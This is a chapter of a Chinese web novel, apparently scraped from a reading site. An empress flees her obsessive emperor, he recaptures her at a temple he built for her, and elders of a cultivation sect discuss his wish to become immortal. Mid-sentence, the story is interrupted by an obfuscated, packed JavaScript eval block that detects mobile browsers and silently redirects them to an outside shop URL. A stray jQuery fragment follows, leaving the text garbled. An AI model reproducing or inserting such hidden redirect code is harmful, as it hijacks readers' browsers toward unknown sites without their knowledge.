天有绝人之路。
夜色渐浓,树林的风声和山谷的流水声格外清晰。
慕容颜的一身白色纱袍被路上的灌木杂草勾成了流苏,袍子末端有星星点点的泥水点子——她已经逃了很久了。
伴君如伴虎,此话真不假。
这是慕容颜嫁给盛千秋的第五年,不同于许多夫妻的日久生厌,两人依旧如胶似漆——更准确地来说,是盛千秋恨不得粘在她身上,时时刻刻与她待在一起。
一世的缘分并不能让他满足,于是他求仙问道,召来长白宗的大能,把两人几生几世的缘分都绑在一起。
慕容颜虽然不太相信修士口中说的那些,却不敢反驳他,乖乖应下了。
是的,慕容颜不敢反驳他。
她家里爹强势,娘温顺,每有意见不合总是娘亲在忍受。
可他们在教育慕容颜身上却格外的一致,那便是让她做个贤惠可人的女子,顺着丈夫来。
她有些不愿,直言娘这样也没有多幸福,为何还要这么小心翼翼维护,娘却说爹爹已经是百里挑一的好儿郎了。
慕容颜很失望,但也听进心里去了。
家中姐妹说她太傻,母亲的话听听便好,至于怎么来那还是要自己决定的。
但她害怕,也不敢跨过那个边界。
成亲的这些年里,盛千秋说过太多奇怪的话。
先是问她能不能吃掉她——她担惊受怕了好几日,想了很多求救的方法,然后发现他只是咽了几根她的头发;又是问她能不能拴着他——她大为震撼,然后看他自娱自乐地将自己像狗一般栓了几天。
不过他从未伤害过她,慕容颜的日子也过得惬意,是以一直由着他来。
然而越怕什么就越来什么。
那日盛千秋刚下朝便直奔坤宁宫,一把将她揽在怀里,一改常态的波澜不惊,兴致高昂地凑在她耳边说着什么。
“陛下,你好好说话。”慕容颜不动声色地避开他有些痴狂的神色。
他也不恼怒,抬起埋在她颈间的脸:“阿颜,”他目光灼灼,“我安排好了——两天后。”
慕容颜知道他说的是什么。
即使被看作千年难遇的明君,也颇为通晓政事,但盛千秋其实无心皇位。
他在一年前便暗中交接好了政务,计划将她和自己神不知鬼不觉地从世上抹除。
今日这么一反常态,想必是找好了法子。
慕容颜维持着爱夫人设,很快应下了——当然,跑得更快。
虽然父母之命难违,但命都不保了还怎么扮演乖乖的妻子?
随着最后一丝日光隐没于天边,空气变得更冷了。
她骑马跑到了离皇宫较远的一座镇上,这镇子名为芙蓉镇。
长途跋涉,一路上丢了不少行李,在歇脚的时候马也被山匪牵走了,是以只能在此地落脚。
芙蓉镇山清水秀,人杰地灵,百姓也极其友善。
不过住在客栈里是万万不能的,只怕上一秒住店,下一秒盛千秋便闻着味来了,只能在附近庙宇里凑合一晚。
庙宇名叫花神庙,一年前开始修建,如今刚刚修缮完成。
于庙宇外望去,可以瞥见圣女像的一角——正殿中央佛龛富丽华贵,鲜艳精致,内供奉着一尊圣女像,圣女端庄典雅,头戴宝冠,半透明的纱布自圣女头上向下倾泻,使得圣女面容若隐若现,让人瞥见她悲悯柔和的神情。
她盯着圣女像良久,无端觉得和自己有些相像,无论是身形,气质,还是那若隐若现的面容。
满室的火烛被整齐的排列在庙宇的廊道,烛光将四周的壁画一寸一寸映照清晰,也将此刻的氛围烘托得更加诡异。
慕容颜端起一盏火烛,向圣女像背后的壁画靠近。
壁画被一寸一寸照得清晰。
画中青年剑眉星目,持弓乘龙;少女天姿绝色,捧鸟乘凤。二人在仙禽神兽的引导下飞向仙境——是一幅夫妇升仙图,画中的女人应该便是圣女,只是不知道男人是谁。
她眼睛眯起,将火烛移到壁画中男人的脸上——身姿矫健,面容英俊,最为出彩的便是五官,硬朗分明,眉宇间一股郁气,整体看来却又有种君子的温润之感。
还挺反差。
正欲细看,腰间被一双温热的大手桎梏,来人环抱着慕容颜,凑到她耳边。
良久,声音低沉,犹如地狱的男鬼,“喜欢吗?”
慕容颜动弹不得,视线落在前方不远处的圣女像身上,恨不得圣女活过来救救自己。
“朕专门为你建的。”
——圣女应该是救不了她了。
难怪今日出宫这么顺利,连平日里频频劝她安分一点的侍女芷芸也神情不自然,频频打量她,最后却缄口不言,敢情是盛千秋已经打点过她们了。
青年的怀抱滚烫,双臂不断收紧,似乎要将她窒息在怀抱里。
慕容颜回抱住青年,双手勾着他的脖颈,表情感动,“喜欢,我就知道你对我最好了。”
“喜欢便好。”
他身形高大修长,高出慕容颜一个头不止。吩咐她时也从不低头,让她觉得他总是居高临下,就像现在。
或许他就是居高临下。
龙章凤姿,经天纬地,一出生便坐拥江山,被誉为千年难见的明君,这样的人似乎很难不高傲。
但她不喜欢,或许说,还有些害怕。
“这几日安分些,等到了仙界,我陪你好好玩。”他终于低下了头。
看来他的法子便是让两人转世成仙。
慕容颜眼神与面前的青年交错,点了点头。
不修道而欲转世成仙,本就是逆天而为。成仙的机缘更是可贵,盛千秋轻飘飘地便安排好了。
他一向不可一世,做出这种举动似乎也正常。
想起出嫁前爹娘三令五申地告诉她一定要听丈夫的话,家里是祖坟冒青烟了才能出一位皇后,可由不得她使性子。
慕容颜默不作声。
被盛千秋牵着从庙宇出来,她鬼使神差地又望了圣女像一眼。
面纱被吹起一角——圣女依旧含笑,一副慈悲面容。
“娘娘,请。”冯公公一脸笑意,毕恭毕敬道。
她一言不发上了马车。
盛千秋表情玩味地紧随其后。
慕容颜不知道的是,她每次生气但强作镇定的时候都很明显,不亚于在脸上写了“气死我了”这几个大字。
“皇上,”冯公公轻声道,“娘娘年纪小,眼光没那么长远,您多担待些。”
冯公公在宫中伺候了一二十年,对宫中各位主子的脾性都十分了解——皇上看似不可一世,实则很依赖皇后,总是患得患失;皇后看似饱受委屈,可也是在瞎委屈,实则是作威作福的那个人。
两个主子都不是什么好相处的。
“让她自己跟我说。”
盛千秋声音不大不小,刚好能让马车里的慕容颜听到。
“咚!”马车里传来发泄般踹东西的声音。
盛千秋与冯公公俱是一笑。
“冯公公!不要聊了,快走啊,我要回宫。”
他们竟然还交谈上了,怎么不再野炊一下。
两人又是一笑。
马车不紧不慢行驶在林间小道里,入眼景色皆是漆黑的绿。
慕容颜侧头看着窗外的景色,故意不理会身旁的青年。
“生气了?”
马车十分宽敞,慕容颜将自己蜷缩在一侧,盛千秋坐在中央,刚好挨着她的衣角。
一片寂静,过了好几秒,她才仿佛听到声音。
“你在跟我讲话吗?”
少女脸上云淡风轻,却又维持着温柔小意的假象,轻飘飘地瞥他一眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17702768|208237||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“你撞鬼了?这里就我们俩。”
盛千秋泰然自若,但说出的话也很有攻击性。
有善意的人总是很难将刻薄的话说出口,正如慕容颜现在一言不发。
“你哑巴了?
那我们的孩子别也是个小哑巴,朕天天对着你们母子还挺无聊的。”
盛千秋乘胜追击。
慕容颜差点一口气没上来,“什么我们?”
对,他们之间没有“他们”。
一击制敌,一针见血。
两人的姿势对调,慕容颜好整以暇地坐在中央,目视前方。
反观盛千秋,转头将帘子掀开,表情沉郁,大口呼吸新鲜空气。
畅快!
她脸上的笑意简直控制不住。
小路幽静,萤火相映。
清脆的马蹄声悠长,马车里一人志得意满,一人气得大喘。
好似给人一种永远的感觉,她想,片刻又敛起了笑,盛千秋做的决定从来不会改变。
那她呢?
真的要舍命陪疯子?
长白宗
室内氤氲着冷松香,金线勾织的屏风上绣着仙鹤图样,几位仙风道骨的大能坐而论道。
黑子落入棋盘,白子紧随其后。
“宁长老的棋技不减当年啊,”龚穆手执一子,笑着看着棋盘中的走势,自然而热地转移了话题,“不仅棋艺好,管理起宗门来也是井井有条。”
“不敢当。”宁良视线从棋盘转向面前的龚穆身上,气定神闲。
此前长白宗在与魔族一战后势力低微,云天掌门修为大跌,是宁良长老一手操持才让宗门转危为安。
龚穆与眼前人对视良久,放下心来,“此前听宗门人说,宁长老如此兢兢业业,是图谋不轨,准备取代掌门,不过十年如一日的付出,也让这谣言不攻自破了。”
龚穆话说的太过直白,倒是让眼前的中年男子有片刻的失神。
“想不到宁长老,一片冰心在玉壶啊。”龚穆示意弟子将茶倒满,以茶代酒,敬了眼前人一杯。
一直在旁不发一言的弟子封九像是想起了一件事,“师父,近日来弟子听说凡间的君王向您求仙问道,真的有这回事吗?”
“确有此事。”宁良放下茶盏,幽幽回道。
宗门内不少弟子都是由凡人成为修士的,是以这种话题不出几日便传得沸沸扬扬。
凡间海清河晏,向来与修士与魔族井水不犯河水,即使是凡人选择做修士,也十分放心在凡间的父母亲人。
一朝听说天子竟要转世成仙,不由猜测纷纷。
“他是为了一女子。”
话落半晌,室内安静得无人应和,宁长老从两人不可置信的目光中又重复了一遍,“正是皇后。”
“天子无心皇位,一心只顾私情,起先命我将他们几生几世的情缘都绑在一起,后来还是嫌不够保险……”
“弟子不解,这不已然是最好的方法了吗?”
“他嫌女子待嫁闺中的时间太长了,也怕皇后变心。”
封九明显感觉师父说这句话时语气的复杂,有无奈,不解,嘲讽,还有一丝——隐约的期待。
“皇后当真漂亮到那种程度吗?”
封九疑惑。
要说沉迷美色的皇帝历来不少,但大多都是后宫佳丽三千,皇帝瓢瓢都饮,所谓的情种根本不可能出在帝王身上。
但如今的帝王后宫只有皇后一人,如今还大费周章地找师父绑情缘,转世成仙,想来也是不太正常的。
自古这种皇族世族的子弟最容易精神不正常了,封九撇撇嘴。
“这话等他们来了你可不要乱说。”宁良提醒道。
已是晌午,温和的日光透过窗户照进来,映着两人执棋的身形。
冬季山中天气多变,这日光可不多得。